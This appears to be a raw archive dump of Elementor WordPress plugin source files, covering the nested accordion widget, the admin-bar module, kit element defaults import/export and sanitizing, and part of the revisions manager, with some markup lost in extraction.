Schema', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'label_on' => esc_html__( 'Yes', 'elementor' ), 'label_off' => esc_html__( 'No', 'elementor' ), 'default' => 'no', ] ); $this->add_control( 'faq_schema_message', [ 'type' => Controls_Manager::ALERT, 'alert_type' => 'info', 'content' => esc_html__( 'Let Google know that this section contains an FAQ. Make sure to only use it only once per page', 'elementor' ), 'condition' => [ 'faq_schema[value]' => 'yes', ], ] ); $this->end_controls_section(); $this->start_controls_section( 'section_interactions', [ 'label' => esc_html__( 'Interactions', 'elementor' ), ] ); $this->add_control( 'default_state', [ 'label' => esc_html__( 'Default State', 'elementor' ), 'type' => Controls_Manager::SELECT, 'options' => [ 'expanded' => esc_html__( 'First expanded', 'elementor' ), 'all_collapsed' => esc_html__( 'All collapsed', 'elementor' ), ], 'default' => 'expanded', 'frontend_available' => true, ] ); $this->add_control( 'max_items_expended', [ 'label' => esc_html__( 'Max Items Expanded', 'elementor' ), 'type' => Controls_Manager::SELECT, 'options' => [ 'one' => esc_html__( 'One', 'elementor' ), 'multiple' => esc_html__( 'Multiple', 'elementor' ), ], 'default' => 'one', 'frontend_available' => true, ] ); $this->add_control( 'n_accordion_animation_duration', [ 'label' => esc_html__( 'Animation Duration', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 's', 'ms' ], 'default' => [ 'unit' => 'ms', 'size' => 400, ], 'frontend_available' => true, ] ); $this->end_controls_section(); $this->add_style_tab(); } private function add_style_tab() { $this->add_accordion_style_section(); $this->add_header_style_section(); $this->add_content_style_section(); } private function add_accordion_style_section() { $this->start_controls_section( 'section_accordion_style', [ 'label' => esc_html__( 'Accordion', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, ] ); $this->add_responsive_control( 'accordion_item_title_space_between', [ 'label' => esc_html__( 'Space between Items', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', 'em', 'rem', 'custom' ], 'range' => [ 'px' => [ 'max' => 200, ], 'em' => [ 'max' => 20, ], 'rem' => [ 'max' => 20, ], ], 'default' => [ 'size' => 0, ], 'selectors' => [ '{{WRAPPER}}' => '--n-accordion-item-title-space-between: {{SIZE}}{{UNIT}}', ], ] ); $this->add_responsive_control( 'accordion_item_title_distance_from_content', [ 'label' => esc_html__( 'Distance from content', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', 'em', 'rem', 'custom' ], 'range' => [ 'px' => [ 'max' => 200, ], 'em' => [ 'max' => 20, ], 'rem' => [ 'max' => 20, ], ], 'default' => [ 'size' => 0, ], 'selectors' => [ '{{WRAPPER}}' => '--n-accordion-item-title-distance-from-content: {{SIZE}}{{UNIT}}', ], ] ); $this->start_controls_tabs( 'accordion_border_and_background' ); foreach ( [ 'normal', 'hover', 'active' ] as $state ) { $this->add_border_and_radius_style( $state ); } $this->end_controls_tabs(); $this->add_responsive_control( 'accordion_border_radius', [ 'label' => esc_html__( 'Border Radius', 'elementor' ), 'type' => Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ], 'selectors' => [ '{{WRAPPER}}' => '--n-accordion-border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};', ], 'separator' => 'before', ] ); $this->add_responsive_control( 'accordion_padding', [ 'label' => esc_html__( 'Padding', 'elementor' ), 'type' => Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem', 'custom' ], 'selectors' => [ '{{WRAPPER}} ' => '--n-accordion-padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};', ], ] ); $this->end_controls_section(); } private function add_content_style_section() { $low_specificity_accordion_item_selector = ':where( {{WRAPPER}} > .elementor-widget-container > .e-n-accordion > .e-n-accordion-item ) > .e-con'; $this->start_controls_section( 'section_content_style', [ 'label' => esc_html__( 'Content', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, ] ); $this->add_group_control( Group_Control_Background::get_type(), [ 'name' => 'content_background', 'types' => [ 'classic', 'gradient' ], 'exclude' => [ 'image' ], 'selector' => $low_specificity_accordion_item_selector, ] ); $this->add_group_control( Group_Control_Border::get_type(), [ 'name' => 'content_border', 'selector' => $low_specificity_accordion_item_selector, 'fields_options' => [ 'color' => [ 'label' => esc_html__( 'Border Color', 'elementor' ), ], 'width' => [ 'label' => esc_html__( 'Border Width', 'elementor' ), ], ], ] ); $this->add_responsive_control( 'content_border_radius', [ 'label' => esc_html__( 'Border Radius', 'elementor' ), 'type' => Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ], 'selectors' => [ $low_specificity_accordion_item_selector => '--border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};', ], ] ); $this->add_responsive_control( 'content_padding', [ 'label' => esc_html__( 'Padding', 'elementor' ), 'type' => Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem', 'custom' ], 'selectors' => [ $low_specificity_accordion_item_selector => '--padding-top: {{TOP}}{{UNIT}}; --padding-right: {{RIGHT}}{{UNIT}}; --padding-bottom: {{BOTTOM}}{{UNIT}}; --padding-left: {{LEFT}}{{UNIT}};', ], ] ); $this->end_controls_section(); } private function add_header_style_section() { $this->start_controls_section( 'section_header_style', [ 'label' => esc_html__( 'Header', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, ] ); $this->add_control( 'heading_header_style_title', [ 'type' => Controls_Manager::HEADING, 'label' => esc_html__( 'Title', 'elementor' ), ] ); $this->add_group_control( Group_Control_Typography::get_type(), [ 'name' => 'title_typography', 'selector' => ':where( {{WRAPPER}} > .elementor-widget-container > .e-n-accordion > .e-n-accordion-item > .e-n-accordion-item-title > .e-n-accordion-item-title-header ) > .e-n-accordion-item-title-text', 'fields_options' => [ 'font_size' => [ 'selectors' => [ '{{WRAPPER}}' => '--n-accordion-title-font-size: {{SIZE}}{{UNIT}}', ], ], ], ] ); $this->start_controls_tabs( 'header_title_color_style' ); foreach ( [ 'normal', 'hover', 'active' ] as $state ) { $this->add_header_style( $state, 'title' ); } $this->end_controls_tabs(); $this->add_control( 'heading_icon_style_title', [ 'type' => Controls_Manager::HEADING, 'label' => esc_html__( 'Icon', 'elementor' ), 'separator' => 'before', ] ); $this->add_responsive_control( 'icon_size', [ 'label' => esc_html__( 'Size', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'range' => [ 'em' => [ 'max' => 10, ], 'rem' => [ 'max' => 10, ], ], 'default' => [ 'unit' => 'px', 'size' => 15, ], 'size_units' => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ], 'selectors' => [ '{{WRAPPER}}' => '--n-accordion-icon-size: {{SIZE}}{{UNIT}}', ], ] ); $this->add_responsive_control( 'icon_spacing', [ 'label' => esc_html__( 'Spacing', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'range' => [ 'px' => [ 'max' => 400, ], 'vw' => [ 'max' => 50, 'step' => 0.1, ], ], 'size_units' => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ], 'selectors' => [ '{{WRAPPER}}' => '--n-accordion-icon-gap: {{SIZE}}{{UNIT}}', ], 'condition' => [ 'accordion_item_title_position_horizontal!' => 'stretch', ], ] ); $this->start_controls_tabs( 'header_icon_color_style' ); foreach ( [ 'normal', 'hover', 'active' ] as $state ) { $this->add_header_style( $state, 'icon' ); } $this->end_controls_tabs(); $this->end_controls_section(); } private function add_header_style( $state, $context ) { $variable = '--n-accordion-' . $context . '-' . $state . '-color'; switch ( $state ) { case 'hover': $translated_tab_text = esc_html__( 'Hover', 'elementor' ); $translated_tab_css_selector = ':where( {{WRAPPER}} > .elementor-widget-container > .e-n-accordion > .e-n-accordion-item:not([open]) > .e-n-accordion-item-title:hover > .e-n-accordion-item-title-header ) > .e-n-accordion-item-title-text'; break; case 'active': $translated_tab_text = esc_html__( 'Active', 'elementor' ); $translated_tab_css_selector = ':where( {{WRAPPER}} > .elementor-widget-container > .e-n-accordion > .e-n-accordion-item[open] > .e-n-accordion-item-title > .e-n-accordion-item-title-header ) > .e-n-accordion-item-title-text'; break; default: $translated_tab_text = esc_html__( 'Normal', 'elementor' ); $translated_tab_css_selector = ':where( {{WRAPPER}} > .elementor-widget-container > .e-n-accordion > .e-n-accordion-item:not([open]) > .e-n-accordion-item-title:not(hover) > .e-n-accordion-item-title-header ) > .e-n-accordion-item-title-text'; break; } $this->start_controls_tab( 'header_' . $state . '_' . $context, [ 'label' => $translated_tab_text, ] ); $this->add_control( $state . '_' . $context . '_color', [ 'label' => esc_html__( 'Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}}' => $variable . ': {{VALUE}};', ], ] ); if ( 'title' === $context ) { $this->add_group_control( Group_Control_Text_Shadow::get_type(), [ 'name' => $context . '_' . $state . '_text_shadow', 'selector' => '{{WRAPPER}} ' . $translated_tab_css_selector, 'fields_options' => [ 'text_shadow_type' => [ 'label' => esc_html__( 'Shadow', 'elementor' ), ], ], ] ); $this->add_group_control( Group_Control_Text_Stroke::get_type(), [ 'name' => $context . '_' . $state . '_stroke', 'selector' => '{{WRAPPER}} ' . $translated_tab_css_selector, ] ); } $this->end_controls_tab(); } /** * @string $state */ private function add_border_and_radius_style( $state ) { $selector = '{{WRAPPER}} > .elementor-widget-container > .e-n-accordion > .e-n-accordion-item > .e-n-accordion-item-title'; $translated_tab_text = esc_html__( 'Normal', 'elementor' ); switch ( $state ) { case 'hover': $selector .= ':hover'; $translated_tab_text = esc_html__( 'Hover', 'elementor' ); break; case 'active': $selector = '{{WRAPPER}} > .elementor-widget-container > .e-n-accordion > .e-n-accordion-item[open] > .e-n-accordion-item-title'; $translated_tab_text = esc_html__( 'Active', 'elementor' ); break; } $this->start_controls_tab( 'accordion_' . $state . '_border_and_background', [ 'label' => $translated_tab_text, ] ); $this->add_group_control( Group_Control_Background::get_type(), [ 'name' => 'accordion_background_' . $state, 'types' => [ 'classic', 'gradient' ], 'exclude' => [ 'image' ], 'fields_options' => [ 'color' => [ 'label' => esc_html__( 'Color', 'elementor' ), ], ], 'selector' => $selector, ] ); $this->add_group_control( Group_Control_Border::get_type(), [ 'name' => 'accordion_border_' . $state, 'selector' => $selector, ] ); $this->end_controls_tab(); } private function is_active_icon_exist( $settings ):bool { return array_key_exists( 'accordion_item_title_icon_active', $settings ) && ! empty( $settings['accordion_item_title_icon_active'] ) && ! empty( $settings['accordion_item_title_icon_active']['value'] ); } private function render_accordion_icons( $settings ) { $icon_html = Icons_Manager::try_get_icon_html( $settings['accordion_item_title_icon'], [ 'aria-hidden' => 'true' ] ); $icon_active_html = $this->is_active_icon_exist( $settings ) ? Icons_Manager::try_get_icon_html( $settings['accordion_item_title_icon_active'], [ 'aria-hidden' => 'true' ] ) : $icon_html; ob_start(); ?> get_settings_for_display(); $items = $settings['items']; $id_int = substr( $this->get_id_int(), 0, 3 ); $items_title_html = ''; $icons_content = $this->render_accordion_icons( $settings ); $this->add_render_attribute( 'elementor-accordion', 'class', 'e-n-accordion' ); $this->add_render_attribute( 'elementor-accordion', 'aria-label', 'Accordion. Open links with Enter or Space, close with Escape, and navigate with Arrow Keys' ); $default_state = $settings['default_state']; $title_html_tag = Utils::validate_html_tag( $settings['title_tag'] ); $faq_schema = []; foreach ( $items as $index => $item ) { $accordion_count = $index + 1; $item_setting_key = $this->get_repeater_setting_key( 'item_title', 'items', $index ); $item_summary_key = $this->get_repeater_setting_key( 'item_summary', 'items', $index ); $item_classes = [ 'e-n-accordion-item' ]; $item_id = empty( $item['element_css_id'] ) ? 'e-n-accordion-item-' . $id_int . $index : $item['element_css_id']; $item_title = $item['item_title']; $is_open = 'expanded' === $default_state && 0 === $index ? 'open' : ''; $aria_expanded = 'expanded' === $default_state && 0 === $index; $this->add_render_attribute( $item_setting_key, [ 'id' => $item_id, 'class' => $item_classes, ] ); $this->add_render_attribute( $item_summary_key, [ 'class' => [ 'e-n-accordion-item-title' ], 'data-accordion-index' => $accordion_count, 'tabindex' => 0 === $index ? 0 : -1, 'aria-expanded' => $aria_expanded ? 'true' : 'false', 'aria-controls' => $item_id, ] ); $title_render_attributes = $this->get_render_attribute_string( $item_setting_key ); $title_render_attributes = $title_render_attributes . ' ' . $is_open; $summary_render_attributes = $this->get_render_attribute_string( $item_summary_key ); // items content. ob_start(); $this->print_child( $index, $item_id ); $item_content = ob_get_clean(); $faq_schema[ $item_title ] = $item_content; ob_start(); ?>
> > $item_title " ); ?>
print_render_attribute_string( 'elementor-accordion' ); ?>>
'https://schema.org', '@type' => 'FAQPage', 'mainEntity' => [], ]; foreach ( $faq_schema as $name => $text ) { $json['mainEntity'][] = [ '@type' => 'Question', 'name' => wp_strip_all_tags( $name ), 'acceptedAnswer' => [ '@type' => 'Answer', 'text' => wp_strip_all_tags( $text ), ], ]; } ?> get_children(); if ( ! empty( $children[ $index ] ) ) { // Add data-tab-index attribute to the content area. $add_attribute_to_container = function ( $should_render, $container ) use ( $item_id ) { $this->add_attributes_to_container( $container, $item_id ); return $should_render; }; add_filter( 'elementor/frontend/container/should_render', $add_attribute_to_container, 10, 3 ); $children[ $index ]->print_element(); remove_filter( 'elementor/frontend/container/should_render', $add_attribute_to_container ); } } protected function add_attributes_to_container( $container, $item_id ) { $container->add_render_attribute( '_wrapper', [ 'role' => 'region', 'aria-labelledby' => $item_id, ] ); } protected function get_initial_config(): array { if ( Plugin::$instance->experiments->is_feature_active( 'e_nested_atomic_repeaters' ) ) { return array_merge( parent::get_initial_config(), [ 'support_improved_repeaters' => true, 'target_container' => [ '.e-n-accordion' ], 'node' => 'details', 'is_interlaced' => true, ] ); } return parent::get_initial_config(); } protected function content_template_single_repeater_item() { ?> <# const elementUid = view.getIDInt().toString().substring( 0, 3 ) + view.collection.length; const itemWrapperAttributes = { 'id': 'e-n-accordion-item-' + elementUid, 'class': [ 'e-n-accordion-item', 'e-normal' ], }; const itemTitleAttributes = { 'class': [ 'e-n-accordion-item-title' ], 'data-accordion-index': view.collection.length + 1, 'tabindex': -1, 'aria-expanded': 'false', 'aria-controls': 'e-n-accordion-item-' + elementUid, }; const itemTitleTextAttributes = { 'class': [ 'e-n-accordion-item-title-text' ], 'data-binding-type': 'repeater-item', 'data-binding-repeater-name': 'items', 'data-binding-setting': ['item_title'], 'data-binding-index': view.collection.length + 1, 'data-binding-dynamic': 'true', }; view.addRenderAttribute( 'details-container', itemWrapperAttributes, null, true ); view.addRenderAttribute( 'summary-container', itemTitleAttributes, null, true ); view.addRenderAttribute( 'text-container', itemTitleTextAttributes, null, true ); #>
{{{ data.item_title }}}
<# if ( settings['items'] ) { const elementUid = view.getIDInt().toString().substring( 0, 3 ), titleHTMLTag = elementor.helpers.validateHTMLTag( settings.title_tag ), defaultState = settings.default_state, itemTitleIcon = elementor.helpers.renderIcon( view, settings['accordion_item_title_icon'], { 'aria-hidden': true }, 'i', 'object' ) ?? '', itemTitleIconActive = '' === settings.accordion_item_title_icon_active.value ? itemTitleIcon : elementor.helpers.renderIcon( view, settings['accordion_item_title_icon_active'], { 'aria-hidden': true }, 'i', 'object' ); #> <# _.each( settings['items'], function( item, index ) { const itemCount = index + 1, itemUid = elementUid + index, itemTitleTextKey = 'item-title-text-' + itemUid, itemWrapperKey = itemUid, itemTitleKey = 'item-' + itemUid, ariaExpanded = 'expanded' === defaultState && 0 === index ? 'true' : 'false'; if ( '' !== item.element_css_id ) { itemId = item.element_css_id; } else { itemId = 'e-n-accordion-item-' + itemUid; } const itemWrapperAttributes = { 'id': itemId, 'class': [ 'e-n-accordion-item', 'e-normal' ], }; if ( defaultState === 'expanded' && index === 0) { itemWrapperAttributes['open'] = true; } view.addRenderAttribute( itemWrapperKey, itemWrapperAttributes ); view.addRenderAttribute( itemTitleKey, { 'class': ['e-n-accordion-item-title'], 'data-accordion-index': itemCount, 'tabindex': 0 === index ? 0 : -1, 'aria-expanded': ariaExpanded, 'aria-controls': itemId, }); view.addRenderAttribute( itemTitleTextKey, { 'class': ['e-n-accordion-item-title-text'], 'data-binding-type': 'repeater-item', 'data-binding-repeater-name': 'items', 'data-binding-setting': ['item_title'], 'data-binding-index': itemCount, 'data-binding-dynamic': 'true', }); #>
<{{{ titleHTMLTag }}} {{{ view.getRenderAttributeString( itemTitleTextKey ) }}}> {{{ item.item_title }}} <# if (settings.accordion_item_title_icon.value) { #> {{{ itemTitleIconActive.value }}} {{{ itemTitleIcon.value }}} <# } #>
<# } ); #> <# } #>
is_editable_by_current_user() ) { return; } $this->documents[ $document->get_main_id() ] = $document; } /** * Scripts for module. */ public function enqueue_scripts() { if ( empty( $this->documents ) ) { return; } // Should load 'elementor-admin-bar' before 'admin-bar' wp_dequeue_script( 'admin-bar' ); wp_enqueue_script( 'elementor-admin-bar', $this->get_js_assets_url( 'elementor-admin-bar' ), [ 'elementor-frontend-modules' ], ELEMENTOR_VERSION, true ); // This is a core script of WordPress, it is not required to pass the 'ver' argument. wp_enqueue_script( // phpcs:ignore WordPress.WP.EnqueuedResourceParameters 'admin-bar', null, [ 'elementor-admin-bar' ], false, true ); $this->print_config( 'elementor-admin-bar' ); } /** * Creates admin bar menu items config. * * @return array */ public function get_init_settings() { $settings = []; if ( ! empty( $this->documents ) ) { $settings['elementor_edit_page'] = $this->get_edit_button_config(); } /** * Admin bar settings in the frontend. * * Register admin_bar config to parse later in the frontend and add to the admin bar with JS. * * @since 3.0.0 * * @param array $settings the admin_bar config */ $settings = apply_filters( 'elementor/frontend/admin_bar/settings', $settings ); return $settings; } /** * Creates the config for 'Edit with elementor' menu item. * * @return array */ private function get_edit_button_config() { $queried_object_id = get_queried_object_id(); $href = null; if ( is_singular() && isset( $this->documents[ $queried_object_id ] ) ) { $href = $this->documents[ $queried_object_id ]->get_edit_url(); unset( $this->documents[ $queried_object_id ] ); } return [ 'id' => 'elementor_edit_page', 'title' => esc_html__( 'Edit with Elementor', 'elementor' ), 'href' => $href, 'children' => array_map( function ( $document ) { return [ 'id' => "elementor_edit_doc_{$document->get_main_id()}", 'title' => $document->get_post()->post_title, 'sub_title' => $document::get_title(), 'href' => $document->get_edit_url(), ]; }, $this->documents ), ]; } /** * Module constructor. */ public function __construct() { add_action( 'elementor/frontend/before_get_builder_content', [ $this, 'add_document_to_admin_bar' ], 10, 2 ); add_action( 'wp_footer', [ $this, 'enqueue_scripts' ], 11 /* after third party scripts */ ); } } modules/kit-elements-defaults/module.php000064400000002433147206604650014434 0ustar00get_js_assets_url( 'kit-elements-defaults-editor' ), [ 'elementor-common', 'elementor-editor-modules', 'elementor-editor-document', 'wp-i18n', ], ELEMENTOR_VERSION, true ); wp_set_script_translations( 'elementor-kit-elements-defaults-editor', 'elementor' ); } public function __construct() { parent::__construct(); add_action( 'elementor/editor/before_enqueue_scripts', function () { $this->enqueue_scripts(); } ); Plugin::$instance->data_manager_v2->register_controller( new Controller() ); ( new Usage() )->register(); if ( is_admin() ) { ( new Import_Export() )->register(); } } } modules/kit-elements-defaults/import-export/import-export.php000064400000001553147206604650020633 0ustar00register( new Export_Runner() ); } ); add_action( 'elementor/import-export/import-kit', function ( Import $import ) { $import->register( new Import_Runner() ); } ); } } modules/kit-elements-defaults/import-export/runners/import.php000064400000004146147206604650021011 0ustar00kits_manager->get_active_kit(); $file_name = Import_Export::FILE_NAME; $default_values = ImportExportUtils::read_json_file( "{$data['extracted_directory_path']}/{$file_name}.json" ); if ( ! $kit || ! $default_values ) { return []; } $element_types = array_keys( Plugin::$instance->elements_manager->get_element_types() ); $widget_types = array_keys( Plugin::$instance->widgets_manager->get_widget_types() ); $types = array_merge( $element_types, $widget_types ); $sanitizer = new Settings_Sanitizer( Plugin::$instance->elements_manager, $widget_types ); $default_values = ( new Collection( $default_values ) ) ->filter( function ( $settings, $type ) use ( $types ) { return in_array( $type, $types, true ); } ) ->map( function ( $settings, $type ) use ( $sanitizer, $kit ) { return $sanitizer ->for( $type ) ->using( $settings ) ->remove_invalid_settings() ->kses_deep() ->prepare_for_import( $kit ) ->get(); } ) ->all(); $kit->update_json_meta( Module::META_KEY, $default_values ); return $default_values; } } modules/kit-elements-defaults/import-export/runners/export.php000064400000003252147206604650021015 0ustar00kits_manager->get_active_kit(); if ( ! $kit ) { return [ 'manifest' => [], 'files' => [], ]; } $default_values = $kit->get_json_meta( Module::META_KEY ); if ( ! $default_values ) { return [ 'manifest' => [], 'files' => [], ]; } $sanitizer = new Settings_Sanitizer( Plugin::$instance->elements_manager, array_keys( Plugin::$instance->widgets_manager->get_widget_types() ) ); $default_values = ( new Collection( $default_values ) ) ->map( function ( $settings, $type ) use ( $sanitizer, $kit ) { return $sanitizer ->for( $type ) ->using( $settings ) ->remove_invalid_settings() ->kses_deep() ->prepare_for_export( $kit ) ->get(); } ) ->all(); return [ 'files' => [ 'path' => Import_Export::FILE_NAME, 'data' => $default_values, ], ]; } } modules/kit-elements-defaults/data/controller.php000064400000007744147206604650016255 0ustar00index_endpoint->register_item_route(\WP_REST_Server::EDITABLE, [ 'id_arg_name' => 'type', 'id_arg_type_regex' => '[\w\-\_]+', 'type' => [ 'type' => 'string', 'description' => 'The type of the element.', 'required' => true, 'validate_callback' => function( $type ) { return $this->validate_type( $type ); }, ], 'settings' => [ 'description' => 'All the default values for the requested type', 'required' => true, 'type' => 'object', 'validate_callback' => function( $settings ) { return is_array( $settings ); }, 'sanitize_callback' => function( $settings, \WP_REST_Request $request ) { Performance::set_use_style_controls( true ); $sanitizer = new Settings_Sanitizer( Plugin::$instance->elements_manager, array_keys( Plugin::$instance->widgets_manager->get_widget_types() ) ); $sanitized_data = $sanitizer ->for( $request->get_param( 'type' ) ) ->using( $settings ) ->remove_invalid_settings() ->kses_deep() ->get(); Performance::set_use_style_controls( false ); return $sanitized_data; }, ], ] ); $this->index_endpoint->register_item_route(\WP_REST_Server::DELETABLE, [ 'id_arg_name' => 'type', 'id_arg_type_regex' => '[\w\-\_]+', 'type' => [ 'type' => 'string', 'description' => 'The type of the element.', 'required' => true, 'validate_callback' => function( $type ) { return $this->validate_type( $type ); }, ], ] ); } public function get_collection_params() { return []; } public function get_items( $request ) { $this->validate_kit(); $kit = Plugin::$instance->kits_manager->get_active_kit(); return (object) $kit->get_json_meta( Module::META_KEY ); } public function update_item( $request ) { $this->validate_kit(); $kit = Plugin::$instance->kits_manager->get_active_kit(); $data = $kit->get_json_meta( Module::META_KEY ); $data[ $request->get_param( 'type' ) ] = $request->get_param( 'settings' ); $kit->update_json_meta( Module::META_KEY, $data ); return (object) []; } public function delete_item( $request ) { $this->validate_kit(); $kit = Plugin::$instance->kits_manager->get_active_kit(); $data = $kit->get_json_meta( Module::META_KEY ); unset( $data[ $request->get_param( 'type' ) ] ); $kit->update_json_meta( Module::META_KEY, $data ); return (object) []; } private function validate_kit() { $kit = Plugin::$instance->kits_manager->get_active_kit(); $is_valid_kit = $kit && $kit->get_main_id(); if ( ! $is_valid_kit ) { throw new Error_404( 'Kit doesn\'t exist.' ); } } private function validate_type( $param ) { $element_types = array_keys( Plugin::$instance->elements_manager->get_element_types() ); $widget_types = array_keys( Plugin::$instance->widgets_manager->get_widget_types() ); return in_array( $param, array_merge( $element_types, $widget_types ), true ); } public function get_items_permissions_check( $request ) { return current_user_can( 'edit_posts' ); } // TODO: Should be removed once the infra will support it. public function get_item_permissions_check( $request ) { return $this->get_items_permissions_check( $request ); } public function update_item_permissions_check( $request ) { return current_user_can( 'manage_options' ); } public function delete_item_permissions_check( $request ) { return current_user_can( 'manage_options' ); } } modules/kit-elements-defaults/usage.php000064400000001364147206604650014255 0ustar00get_usage_data(); return $params; } ); } private function get_usage_data() { $elements_defaults = $this->get_elements_defaults() ?? []; return [ 'count' => count( $elements_defaults ), 'elements' => array_keys( $elements_defaults ), ]; } private function get_elements_defaults() { $kit = Plugin::$instance->kits_manager->get_active_kit(); return $kit->get_json_meta( Module::META_KEY ); } } modules/kit-elements-defaults/utils/settings-sanitizer.php000064400000013105147206604650020153 0ustar00elements_manager = $elements_manager; $this->widget_types = $widget_types; } /** * @param $type * * @return $this */ public function for( $type ) { $this->pending_element = $this->create_element( $type ); return $this; } /** * @param $settings * * @return $this */ public function using( $settings ) { $this->pending_settings = $settings; return $this; } /** * @return $this */ public function reset() { $this->pending_element = null; $this->pending_settings = null; return $this; } /** * @return bool */ public function is_prepared() { return $this->pending_element && is_array( $this->pending_settings ); } /** * @return $this */ public function remove_invalid_settings() { if ( ! $this->is_prepared() ) { return $this; } $valid_settings_keys = $this->get_valid_settings_keys( $this->pending_element->get_controls() ); $this->pending_settings = $this->filter_invalid_settings( $this->pending_settings, array_merge( $valid_settings_keys, self::SPECIAL_SETTINGS ) ); foreach ( self::SPECIAL_SETTINGS as $special_setting ) { if ( ! isset( $this->pending_settings[ $special_setting ] ) ) { continue; } $this->pending_settings[ $special_setting ] = $this->filter_invalid_settings( $this->pending_settings[ $special_setting ], $valid_settings_keys ); } return $this; } public function kses_deep() { if ( ! $this->is_prepared() ) { return $this; } $this->pending_settings = map_deep( $this->pending_settings, function( $value ) { if ( ! is_string( $value ) ) { return $value; } return wp_kses_post( $value ); } ); return $this; } /** * @param Document $document * * @return $this */ public function prepare_for_export( Document $document ) { return $this->run_import_export_sanitize_process( $document, 'on_export' ); } /** * @param Document $document * * @return $this */ public function prepare_for_import( Document $document ) { return $this->run_import_export_sanitize_process( $document, 'on_import' ); } /** * @return array */ public function get() { if ( ! $this->is_prepared() ) { return []; } $settings = $this->pending_settings; $this->reset(); return $settings; } /** * @param string $type * @param array $settings * * @return Element_Base|null */ private function create_element( $type ) { $is_widget = in_array( $type, $this->widget_types, true ); $is_inner_section = 'inner-section' === $type; if ( $is_inner_section ) { return $this->elements_manager->create_element_instance( [ 'elType' => 'section', 'isInner' => true, 'id' => '0', ] ); } if ( $is_widget ) { return $this->elements_manager->create_element_instance( [ 'elType' => 'widget', 'widgetType' => $type, 'id' => '0', ] ); } return $this->elements_manager->create_element_instance( [ 'elType' => $type, 'id' => '0', ] ); } /** * @param Document $document * @param $process_type * * @return $this */ private function run_import_export_sanitize_process( Document $document, $process_type ) { if ( ! $this->is_prepared() ) { return $this; } $result = $document->process_element_import_export( $this->pending_element, $process_type, [ 'settings' => $this->pending_settings ] ); if ( empty( $result['settings'] ) ) { return $this; } $this->pending_settings = $result['settings']; return $this; } /** * Get all the available settings of a specific element, including responsive settings. * * @param array $controls * * @return array */ private function get_valid_settings_keys( $controls ) { if ( ! $controls ) { return []; } $control_keys = array_keys( $controls ); $optional_responsive_keys = [ Breakpoints_Manager::BREAKPOINT_KEY_MOBILE, Breakpoints_Manager::BREAKPOINT_KEY_MOBILE_EXTRA, Breakpoints_Manager::BREAKPOINT_KEY_TABLET, Breakpoints_Manager::BREAKPOINT_KEY_TABLET_EXTRA, Breakpoints_Manager::BREAKPOINT_KEY_LAPTOP, Breakpoints_Manager::BREAKPOINT_KEY_WIDESCREEN, ]; $settings = []; foreach ( $control_keys as $control_key ) { // Add the responsive settings. foreach ( $optional_responsive_keys as $responsive_key ) { $settings[] = "{$control_key}_{$responsive_key}"; } // Add the setting itself (not responsive). $settings[] = $control_key; } return $settings; } /** * Remove invalid settings. * * @param $settings * @param $valid_settings_keys * * @return array */ private function filter_invalid_settings( $settings, $valid_settings_keys ) { return array_filter( $settings, function ( $setting_key ) use ( $valid_settings_keys ) { return in_array( $setting_key, $valid_settings_keys, true ); }, ARRAY_FILTER_USE_KEY ); } } modules/history/module.php000064400000002121147206604650011721 0ustar00common->add_template( __DIR__ . '/views/history-panel-template.php' ); Plugin::$instance->common->add_template( __DIR__ . '/views/revisions-panel-template.php' ); } /** * History module constructor. * * Initializing Elementor history module. * * @since 1.7.0 * @access public */ public function __construct() { add_action( 'elementor/editor/init', [ $this, 'add_templates' ] ); } } modules/history/revisions-manager.php000064400000023664147206604650014104 0ustar00documents->get( $post_id ); if ( $document && $document->is_built_with_elementor() ) { $post_content .= ''; } return $post_content; } /** * @since 2.0.0 * @access public * @static */ public static function remove_temp_post_content() { global $post; $document = Plugin::$instance->documents->get( $post->ID ); if ( ! $document || ! $document->is_built_with_elementor() ) { return; } $post->post_content = str_replace( '', '', $post->post_content ); } /** * @since 1.7.0 * @access public * @static * * @param int $post_id * @param array $query_args * @param bool $parse_result * * @return array */ public static function get_revisions( $post_id = 0, $query_args = [], $parse_result = true ) { $post = get_post( $post_id ); if ( ! $post || empty( $post->ID ) ) { return []; } $revisions = []; $default_query_args = [ 'posts_per_page' => self::MAX_REVISIONS_TO_DISPLAY, 'meta_key' => '_elementor_data', ]; $query_args = array_merge( $default_query_args, $query_args ); $posts = wp_get_post_revisions( $post->ID, $query_args ); if ( ! wp_revisions_enabled( $post ) ) { $autosave = Utils::get_post_autosave( $post->ID ); if ( $autosave ) { if ( $parse_result ) { array_unshift( $posts, $autosave ); } else { array_unshift( $posts, $autosave->ID ); } } } if ( $parse_result ) { array_unshift( $posts, $post ); } else { array_unshift( $posts, $post->ID ); return $posts; } $current_time = current_time( 'timestamp' ); /** @var \WP_Post $revision */ foreach ( $posts as $revision ) { $date = date_i18n( _x( 'M j @ H:i', 'revision date format', 'elementor' ), strtotime( $revision->post_modified ) ); $human_time = human_time_diff( strtotime( $revision->post_modified ), $current_time ); if ( $revision->ID === $post->ID ) { $type = 'current'; $type_label = esc_html__( 'Current Version', 'elementor' ); } elseif ( false !== strpos( $revision->post_name, 'autosave' ) ) { $type = 'autosave'; $type_label = esc_html__( 'Autosave', 'elementor' ); } else { $type = 'revision'; $type_label = 